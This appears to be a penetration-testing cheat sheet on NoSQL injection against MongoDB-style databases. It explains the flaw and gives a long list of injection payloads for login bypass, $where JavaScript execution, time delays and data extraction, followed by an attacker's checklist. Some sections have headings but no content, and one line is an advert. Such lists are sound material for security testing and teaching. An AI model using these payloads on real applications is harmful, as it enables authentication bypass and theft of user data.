NoSQL Injection
What is it?
NoSQL injection is where an attacker can manipulate the queries made to a NoSQL database through user input.
A simple example:
A vulnerable web application has the endpoint /search?user={username}
When a request is made, the application queries a NoSQL database (e.g., MongoDB) like this:
db.users.find({username: {$eq: username}})If an attacker inserts a payload into {username} such as {"$ne": ""}, it may modify the query to retrieve all users.
The vulnerable application sends this query to the database, potentially leaking all usernames.
It's important to note that payloads may vary depending on the database, query, and application. NoSQL injection can lead to:
Sensitive data exposure
Data manipulation
Denial of service
Paylaods :
//
%00
'
"
'"\/$[].>
'; return '' == '
;sleep(100);
username[$ne]=toto&password[$ne]=toto
login[$regex]=a.*&pass[$ne]=lol
login[$gt]=admin&login[$lt]=test&pass[$ne]=1
login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto
username[$ne]=1&password[$ne]=1
{$gt: ''}
[$ne]=1
';sleep(5000);
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"user": "nullsweep"}
{"user": ["nullsweep", "foo"]}
{"$or": [{"user": "foo"}, {"user": "realuser"}]
{"$ne": -1}
{"$in": []}
{"$and": [ {"id": 5}, {"id": 6} ]}
{"$where": "return true"}
{"$or": [{},{"foo":"1"}]}
{"$where": "sleep(100)"}
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Administrator","Admin", "admin", "root", "administrator"]},"password":{"$gt":""}}Checklist:
What is the technology stack you're attacking?
What NoSQL DB is being used (MongoDB, CouchDB, etc.)?
Verify injection points:
URL parameters
Form fields
HTTP headers (e.g., cookies, etc.)
Out-of-band (data retrieved from a third party)
Test with different operators: $eq, $ne, $gt, $gte, $lt, $lte, etc.
Can you trigger different responses?
Test for login bypass: {"$ne": ""}
Test for blind NoSQLi
Test for errors
Test for conditional responses
Test for conditional errors
Test for time delays
Test for out-of-band interactions
Is there a blocklist?
Can you bypass the blocklist?
Exploit
In PHP you can send an Array changing the sent parameter from parameter=foo to parameter[arrName]=foo.
The exploits are based in adding an Operator:
Basic authentication bypass
Using not equal ($ne) or greater ($gt)
SQL - Mongo
An attacker can exploit this by inputting strings like admin' || 'a'=='a, making the query return all documents by satisfying the condition with a tautology ('a'=='a'). This is analogous to SQL injection attacks where inputs like ' or 1=1-- - are used to manipulate SQL queries. In MongoDB, similar injections can be done using inputs like ' || 1==1//, ' || 1==1%00, or admin' || 'a'=='a.
Extract length information
Extract data information
SQL - Mongos
PHP Arbitrary Function Execution
Using the $func operator of the MongoLite library (used by default) it might be possible to execute and arbitrary function as in this report.

Get info from different collection
It's possible to use $lookup to get info from a different collection. In the following example, we are reading from a different collection called users and getting the results of all the entries with a password matching a wildcard.
NOTE: $lookup and other aggregation functions are only available if the aggregate() function was used to perform the search instead of the more common find() or findOne() functions.
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:
MongoDB Payloads
List from here
Blind NoSQL Script
Brute-force login usernames and passwords from POST login
This is a simple script that you could modify but the previous tools can also do this task.
References
Last updated